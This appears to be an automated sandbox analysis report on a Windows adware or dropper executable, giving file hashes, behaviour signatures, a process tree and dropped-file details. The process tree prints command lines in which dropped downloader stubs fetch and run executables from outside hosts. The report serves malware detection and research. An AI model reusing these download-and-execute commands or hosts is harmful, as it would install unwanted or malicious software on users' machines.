Analysis

  • max time kernel
    150s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    13-10-2024 02:36

General

  • Target

    3d540318e278c1f111015834d1cd96f3_JaffaCakes118.exe

  • Size

    337KB

  • MD5

    3d540318e278c1f111015834d1cd96f3

  • SHA1

    471518dcb3189502a2b276cc061afb33c327e722

  • SHA256

    c079c5a35cac2a41b28f2786c5dcc0bcfe9b71fb5e39ab172377e66382a236b2

  • SHA512

    4adee104308e02e79e0408a495bf15baf9b70505144a8330f5be39c58f7b84064f76f203b30689fbf4853880a791bbb9a63f055104d6d64b97be639cce7bf79c

  • SSDEEP

    6144:Zc63Az3BN9NwB0JMqjj7qjH4O/5NXfBnAiMzwNhio62sfE05kd8leNmW:rGRiqSqjjGffBAiMzwNh7d/d8leAW

Score
7/10

Malware Config

Signatures

  • Executes dropped EXE 11 IoCs
  • Loads dropped DLL 64 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 12 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • NSIS installer 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of WriteProcessMemory 33 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\3d540318e278c1f111015834d1cd96f3_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\3d540318e278c1f111015834d1cd96f3_JaffaCakes118.exe"
    1⤵
    • Loads dropped DLL
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:2388
    • C:\Users\Admin\AppData\Local\Temp\9a84f3a596db4c832c07eaa6434f9a59\downloaderSTUB.exe
      C:\Users\Admin\AppData\Local\Temp\9a84f3a596db4c832c07eaa6434f9a59\downloaderSTUB.exe /U "http://www.openbitcoin.org/static/dist/obc.exe" /D "C:\Users\Admin\AppData\Local\Temp\9a84f3a596db4c832c07eaa6434f9a59\stub.exe"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      PID:2700
    • C:\Users\Admin\AppData\Local\Temp\9a84f3a596db4c832c07eaa6434f9a59\downloaderSTUB.exe
      C:\Users\Admin\AppData\Local\Temp\9a84f3a596db4c832c07eaa6434f9a59\downloaderSTUB.exe /U "http://openbitcoin.org/static/dist/OpenCL.dll" /D "C:\Users\Admin\AppData\Local\Temp\9a84f3a596db4c832c07eaa6434f9a59\OpenCL.dll"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      PID:3880
    • C:\Users\Admin\AppData\Local\Temp\9a84f3a596db4c832c07eaa6434f9a59\downloaderSTUB.exe
      C:\Users\Admin\AppData\Local\Temp\9a84f3a596db4c832c07eaa6434f9a59\downloaderSTUB.exe /U "http://openbitcoin.org/static/dist/updater.exe" /D "C:\Users\Admin\AppData\Local\Temp\9a84f3a596db4c832c07eaa6434f9a59\updater.exe"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      PID:3080
    • C:\Users\Admin\AppData\Local\Temp\9a84f3a596db4c832c07eaa6434f9a59\downloaderDDLR.exe
      C:\Users\Admin\AppData\Local\Temp\9a84f3a596db4c832c07eaa6434f9a59\downloaderDDLR.exe /U "http://www.directdownloader.com/DirectDownloaderInstaller.exe" /D "C:\Users\Admin\AppData\Local\Temp\9a84f3a596db4c832c07eaa6434f9a59\DirectDownloaderInstaller.exe"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      PID:3492
    • C:\Users\Admin\AppData\Local\Temp\9a84f3a596db4c832c07eaa6434f9a59\downloaderOFFER1.exe
      C:\Users\Admin\AppData\Local\Temp\9a84f3a596db4c832c07eaa6434f9a59\downloaderOFFER1.exe /U "http://www.directdownloader.com/toolbars/GamesLeap79048.exe" /D "C:\Users\Admin\AppData\Local\Temp\9a84f3a596db4c832c07eaa6434f9a59\volcano.exe"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      PID:4312
    • C:\Users\Admin\AppData\Local\Temp\9a84f3a596db4c832c07eaa6434f9a59\downloaderOFFER1.exe
      C:\Users\Admin\AppData\Local\Temp\9a84f3a596db4c832c07eaa6434f9a59\downloaderOFFER1.exe /U "http://www.directdownloader.com/toolbars/PricePeepInstaller.exe" /D "C:\Users\Admin\AppData\Local\Temp\9a84f3a596db4c832c07eaa6434f9a59\pricepeep.exe"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      PID:4268
    • C:\Users\Admin\AppData\Local\Temp\9a84f3a596db4c832c07eaa6434f9a59\preinstaller.exe
      C:\Users\Admin\AppData\Local\Temp\9a84f3a596db4c832c07eaa6434f9a59\preinstaller.exe 0 "para sempre dublado rmvb&url=ahr0cdovl3d3dy50b3jyzw50ag91bmquy29tl3rvcnjlbnqvntcynwi0zwmznzuxnde4ntjlodnly2uwowrim2i3mtc0yjjlyjyzmq==" "Download"
      2⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      PID:2340
    • C:\Users\Admin\AppData\Local\Temp\9a84f3a596db4c832c07eaa6434f9a59\preinstaller.exe
      C:\Users\Admin\AppData\Local\Temp\9a84f3a596db4c832c07eaa6434f9a59\preinstaller.exe 4 "para sempre dublado rmvb&url=ahr0cdovl3d3dy50b3jyzw50ag91bmquy29tl3rvcnjlbnqvntcynwi0zwmznzuxnde4ntjlodnly2uwowrim2i3mtc0yjjlyjyzmq==" "Download"
      2⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      PID:3504
    • C:\Users\Admin\AppData\Local\Temp\9a84f3a596db4c832c07eaa6434f9a59\downloaderOFFER1.exe
      C:\Users\Admin\AppData\Local\Temp\9a84f3a596db4c832c07eaa6434f9a59\downloaderOFFER1.exe /U "http://www.directdownloader.com/toolbars/BitAcceleratorDDLRinstaller.exe" /D "C:\Users\Admin\AppData\Local\Temp\9a84f3a596db4c832c07eaa6434f9a59\BitAcceleratorDDLRinstaller.exe"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      PID:2132
    • C:\Users\Admin\AppData\Local\Temp\9a84f3a596db4c832c07eaa6434f9a59\preinstaller.exe
      C:\Users\Admin\AppData\Local\Temp\9a84f3a596db4c832c07eaa6434f9a59\preinstaller.exe 1 "para sempre dublado rmvb&url=ahr0cdovl3d3dy50b3jyzw50ag91bmquy29tl3rvcnjlbnqvntcynwi0zwmznzuxnde4ntjlodnly2uwowrim2i3mtc0yjjlyjyzmq=="
      2⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      PID:3800
    • C:\Users\Admin\AppData\Local\Temp\9a84f3a596db4c832c07eaa6434f9a59\preinstaller.exe
      C:\Users\Admin\AppData\Local\Temp\9a84f3a596db4c832c07eaa6434f9a59\preinstaller.exe 3 "para sempre dublado rmvb&url=ahr0cdovl3d3dy50b3jyzw50ag91bmquy29tl3rvcnjlbnqvntcynwi0zwmznzuxnde4ntjlodnly2uwowrim2i3mtc0yjjlyjyzmq=="
      2⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      PID:4516

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\9a84f3a596db4c832c07eaa6434f9a59\downloaderOFFER2.exe

    Filesize

    58KB

    MD5

    c7f6ed56312c8fbb58ae6ed445c38df4

    SHA1

    e2dba94ef052db774478b9f7198c1a2298b334e5

    SHA256

    fdb8452173a4f116f6e362ab5466c3c16bf6697502fe3d01db0d82f0e339de24

    SHA512

    ac43e5bb31c3c0876a7768553916cce76d92088e62594e8463b128a0d6e587c48152a5efcf0b2a5e8fb43028d46913df114ae3c3750b7e6c4212c7044518ba43

  • C:\Users\Admin\AppData\Local\Temp\9a84f3a596db4c832c07eaa6434f9a59\preinstaller.exe

    Filesize

    241KB

    MD5

    9d8fe8bcc4c493b2fd1da8d2b07ba57c

    SHA1

    aa9366eb9210c8a5398b5e55921c92ce8970df5b

    SHA256

    f33b7419880c7c90c999970e4c21febaaf6d39fdb02f9d9deafa8f8d97f3b3eb

    SHA512

    3fd58a0d7c870e8b07eb17f8f088d505ad98c7101733972f486a2946d18babfe0e4866ae28a16fe2481e006c26cbdf2d3eb1a2dd71bb44c084bbf14fea475216

  • C:\Users\Admin\AppData\Local\Temp\nspDF65.tmp\Processes.dll

    Filesize

    35KB

    MD5

    2cfba79d485cf441c646dd40d82490fc

    SHA1

    83e51ac1115a50986ed456bd18729653018b9619

    SHA256

    86b302fa9c85dfa0c1c03ba000864a928365dab571f3355347dba02da22949b7

    SHA512

    cca186a7f9c5cff3f4eca410fbe8cc13dad2514a7e36aec9b1addfbcb239ace9b9b2d8427771858e3fd11783abce7e24d43c286f98da9f8b17562ca095a4c043

  • C:\Users\Admin\AppData\Local\Temp\nsw97EB.tmp\NSISdl.dll

    Filesize

    14KB

    MD5

    a5f8399a743ab7f9c88c645c35b1ebb5

    SHA1

    168f3c158913b0367bf79fa413357fbe97018191

    SHA256

    dacc88a12d3ba438fdae3535dc7a5a1d389bce13adc993706424874a782e51c9

    SHA512

    824e567f5211bf09c7912537c7836d761b0934207612808e9a191f980375c6a97383dbc6b4a7121c6b5f508cbfd7542a781d6b6b196ca24841f73892eec5e977

  • memory/2340-51-0x0000000000400000-0x0000000000446000-memory.dmp

    Filesize

    280KB

  • memory/2388-393-0x0000000000400000-0x0000000000440000-memory.dmp

    Filesize

    256KB

  • memory/2388-53-0x0000000000400000-0x0000000000440000-memory.dmp

    Filesize

    256KB

  • memory/2388-76-0x0000000000400000-0x0000000000440000-memory.dmp

    Filesize

    256KB

  • memory/3504-54-0x0000000000400000-0x0000000000446000-memory.dmp

    Filesize

    280KB

  • memory/3800-61-0x0000000000400000-0x0000000000446000-memory.dmp

    Filesize

    280KB

  • memory/4516-396-0x0000000000400000-0x0000000000446000-memory.dmp

    Filesize

    280KB

  • memory/4516-689-0x0000000000400000-0x0000000000446000-memory.dmp

    Filesize

    280KB

  • memory/4516-969-0x0000000000400000-0x0000000000446000-memory.dmp

    Filesize

    280KB

  • memory/4516-1250-0x0000000000400000-0x0000000000446000-memory.dmp

    Filesize

    280KB

  • memory/4516-2070-0x0000000000400000-0x0000000000446000-memory.dmp

    Filesize

    280KB